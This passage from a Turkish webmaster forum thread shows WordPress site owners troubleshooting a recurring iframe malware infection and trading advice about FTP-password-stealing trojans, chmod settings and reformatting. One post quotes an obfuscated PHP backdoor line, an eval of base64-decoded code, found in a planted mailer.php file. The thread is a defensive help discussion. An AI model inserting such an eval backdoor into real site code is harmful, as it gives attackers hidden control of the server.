Tüm Araçlar
  • Tema Seçeneği
  • Site Sesleri
  • Bildirimler
  • Özel Mesaj Al
lostyazilim
tr.link

Sitemde virus var çözemiyorum

 32 Mesajlar 6.800 Okunma
lstbozum
tr.link

#21
Optimus Optimus Optimus Kullanıcı
  • Üyelik 26.07.2012
  • Yaş/Cinsiyet 43 / E
  • Meslek Bilişim / İnternet
  • Konum İstanbul Anadolu
  • Ad Soyad M** D**
  • Mesajlar 380
  • Beğeniler 55 / 103
  • Ticaret 13, (%100)

reis05 adlı üyeden alıntı

Kardeş teşekkürler.

O konuda sıkıntı yok, sıkıntı şu o kodlar silinsede ertesi gün tekrar oluşuyor.


Evet bugün tekrar nüksetti. Hosting firmasına ticket açtım bakalım ne olaccak. Çünkü tek tek arattım tüm ihtimallesi ama yok. Acaba reseller olduğu için başka sitelerden mi geliyor aynı sunucuda olduğu için. İyice paranoya oldum:(

Ek Olarak:

lordgaga adlı üyeden alıntı

"Advanced Find and Replace" programı ile iframe diye tema klasörünü hatta ftp deki bütün klasörlerini taratın. mutlaka iframe girmiştir hocam. zamanında bende çok çektim.


Arattım hocam tek tek ama bulamadım başka bir yerden geliyor en azından benimkinde durum bu:confused:
 

 

wmaraci
reklam

#22
Chelt Chelt WM Aracı Kullanıcı
  • Üyelik 11.08.2012
  • Yaş/Cinsiyet 43 / E
  • Meslek Güvenlik
  • Konum İstanbul Avrupa
  • Ad Soyad H** E**
  • Mesajlar 47
  • Beğeniler 9 / 2
  • Ticaret 0, (%0)
site adresini Pm geçermisin lütfen. Ayrıca verdiğin siteden kodu indirmeye çalıştım ama. ESet Truva atı buldu.
JS/Kryptik.VG Truva Atı
 

 

#23
Optimus Optimus Optimus Kullanıcı
  • Üyelik 26.07.2012
  • Yaş/Cinsiyet 43 / E
  • Meslek Bilişim / İnternet
  • Konum İstanbul Anadolu
  • Ad Soyad M** D**
  • Mesajlar 380
  • Beğeniler 55 / 103
  • Ticaret 13, (%100)

Chelt adlı üyeden alıntı

site adresini Pm geçermisin lütfen. Ayrıca verdiğin siteden kodu indirmeye çalıştım ama. ESet Truva atı buldu.
JS/Kryptik.VG Truva Atı


Hocam adresi pm attım teşekkürler ilginiz için
 

 

#24
eyhabi eyhabi WM Aracı Kullanıcı
  • Üyelik 01.06.2011
  • Yaş/Cinsiyet 35 / E
  • Meslek Özel Sektör
  • Konum
  • Ad Soyad H** Ç**
  • Mesajlar 67
  • Beğeniler 11 / 2
  • Ticaret 0, (%0)
Sorun hala devam ediyor, chmodları 644 yaptım fakat yine eklenmiş yine eklenmiş kafayı yicem. hosting firmasına mail attım saçma sapan bişey yazmışlar
 

 

wmaraci
wmaraci

#25
EmirKutlu EmirKutlu PHP | Sosyal Medya Kullanıcı
  • Üyelik 16.08.2012
  • Yaş/Cinsiyet 26 / E
  • Meslek Php |
  • Konum İstanbul Anadolu
  • Ad Soyad E** K**
  • Mesajlar 328
  • Beğeniler 39 / 85
  • Ticaret 40, (%100)
Header , footer dosyalarına bulaşan bir koddur iframe . ( Bulaşan derken daha çok oralara atılır , sebeb şudur ki footer ve header her sayfada görüntülendiği için , iframe sistemi daha verimli çalışır . )
Gelmesinin ayrı sebebleri olabilir , bilgisayarında veren hatayı gördüm .
Trojan yemiş olabilir ve ftp'e her bağlandığında şifren karşı tarafa gidiyor , ve bu sayede sitene zararlı içerik ekleniyor olabilir .
Eğer vaktin varsa tavsiyem bir format at , tüm şifrelerini değiştir .
Wordpress'in güvenliklerini al , alamazsan p.m gönder yardımcı olmaya çalışayım .

İyi forumlar
 

 

#26
eyhabi eyhabi WM Aracı Kullanıcı
  • Üyelik 01.06.2011
  • Yaş/Cinsiyet 35 / E
  • Meslek Özel Sektör
  • Konum
  • Ad Soyad H** Ç**
  • Mesajlar 67
  • Beğeniler 11 / 2
  • Ticaret 0, (%0)
Ya kardeş orda problem yok o virüsü niye yaptıklarını nereye eklendiğini zaten biliyoruz bu konuda onları yazıldı çizildi.Çözümü arıyoruz format atmak o kadar basit değil

Şifreyi değiştirdik.Chmodlar 644 yaptık. Pcyi tarattık.Yapılabilecek çok şeyi yaptık virüs tekrar ekleniyor tekrar ekleniyor.
 

 

#27
EmirKutlu EmirKutlu PHP | Sosyal Medya Kullanıcı
  • Üyelik 16.08.2012
  • Yaş/Cinsiyet 26 / E
  • Meslek Php |
  • Konum İstanbul Anadolu
  • Ad Soyad E** K**
  • Mesajlar 328
  • Beğeniler 39 / 85
  • Ticaret 40, (%100)

reis05 adlı üyeden alıntı

Ya kardeş orda problem yok o virüsü niye yaptıklarını nereye eklendiğini zaten biliyoruz bu konuda onları yazıldı çizildi.Çözümü arıyoruz format atmak o kadar basit değil

Şifreyi değiştirdik.Chmodlar 644 yaptık. Pcyi tarattık.Yapılabilecek çok şeyi yaptık virüs tekrar ekleniyor tekrar ekleniyor.


Format atmak o kadar basit değil diyorsun dostum .
Şifreyi değiştirirken , her [ENTER] tuşuna bastığında karşı tarafa yeni şifren dahi gidiyor . Pc'yi taratmak bazen çözüm olmayabiliyor inan bana . Chmodlar 644 , ama hangi chmodlar ? Dosyalarmı ? Neler 644 ? Tüm public_html 644 verirsen wp çalışmaz , temalara 644 verirsen bazı yerlerinden hata çıkartır . Neresi 644 ?
 

 

#28
eyhabi eyhabi WM Aracı Kullanıcı
  • Üyelik 01.06.2011
  • Yaş/Cinsiyet 35 / E
  • Meslek Özel Sektör
  • Konum
  • Ad Soyad H** Ç**
  • Mesajlar 67
  • Beğeniler 11 / 2
  • Ticaret 0, (%0)
mailer.php diye bir dosya var ftp de bu normal bir dosyamı herkeste varmı

Çünkü o dosyada headerda geçen bir kod var içinde

echo @eval(base64_decode('ZGllKGluY2x1ZGVfb25jZSAkaW4pOw=='));
 

 

#29
EmirKutlu EmirKutlu PHP | Sosyal Medya Kullanıcı
  • Üyelik 16.08.2012
  • Yaş/Cinsiyet 26 / E
  • Meslek Php |
  • Konum İstanbul Anadolu
  • Ad Soyad E** K**
  • Mesajlar 328
  • Beğeniler 39 / 85
  • Ticaret 40, (%100)

reis05 adlı üyeden alıntı

mailer.php diye bir dosya var ftp de bu normal bir dosyamı herkeste varmı

Çünkü o dosyada headerda geçen bir kod var içinde

echo @eval(base64_decode('ZGllKGluY2x1ZGVfb25jZSAkaW4pOw=='));


Mailer.php normal bir dosya değil , site adresini banada gönderebilirmisin ? Siteyi inceleyeyim .
 

 

#30
eyhabi eyhabi WM Aracı Kullanıcı
  • Üyelik 01.06.2011
  • Yaş/Cinsiyet 35 / E
  • Meslek Özel Sektör
  • Konum
  • Ad Soyad H** Ç**
  • Mesajlar 67
  • Beğeniler 11 / 2
  • Ticaret 0, (%0)

Websiteler adlı üyeden alıntı

Format atmak o kadar basit değil diyorsun dostum .
Şifreyi değiştirirken , her [ENTER] tuşuna bastığında karşı tarafa yeni şifren dahi gidiyor . Pc'yi taratmak bazen çözüm olmayabiliyor inan bana . Chmodlar 644 , ama hangi chmodlar ? Dosyalarmı ? Neler 644 ? Tüm public_html 644 verirsen wp çalışmaz , temalara 644 verirsen bazı yerlerinden hata çıkartır . Neresi 644 ?


Yok tümüne verince çalışmıyo denedim :) php olanlara verdim sadece, kardeş bende pcye format istiyorum ama formata müsait değil

Ek Olarak:

Websiteler adlı üyeden alıntı

Mailer.php normal bir dosya değil , site adresini banada gönderebilirmisin ? Siteyi inceleyeyim .


Birde mpik diye dosya var. FTP de gözüküyo dosyaları pcye atınca gözükmüyo
 

 

Wordpress botu yazdırılacaktır.
Anasayfada sadece yazının özetini gösterme?
wmaraci
Konuyu toplam 2 kişi okuyor. (0 kullanıcı ve 2 misafir)
 
Site Ayarları
  • Tema Seçeneği
  • Site Sesleri
  • Bildirimler
  • Özel Mesaj Al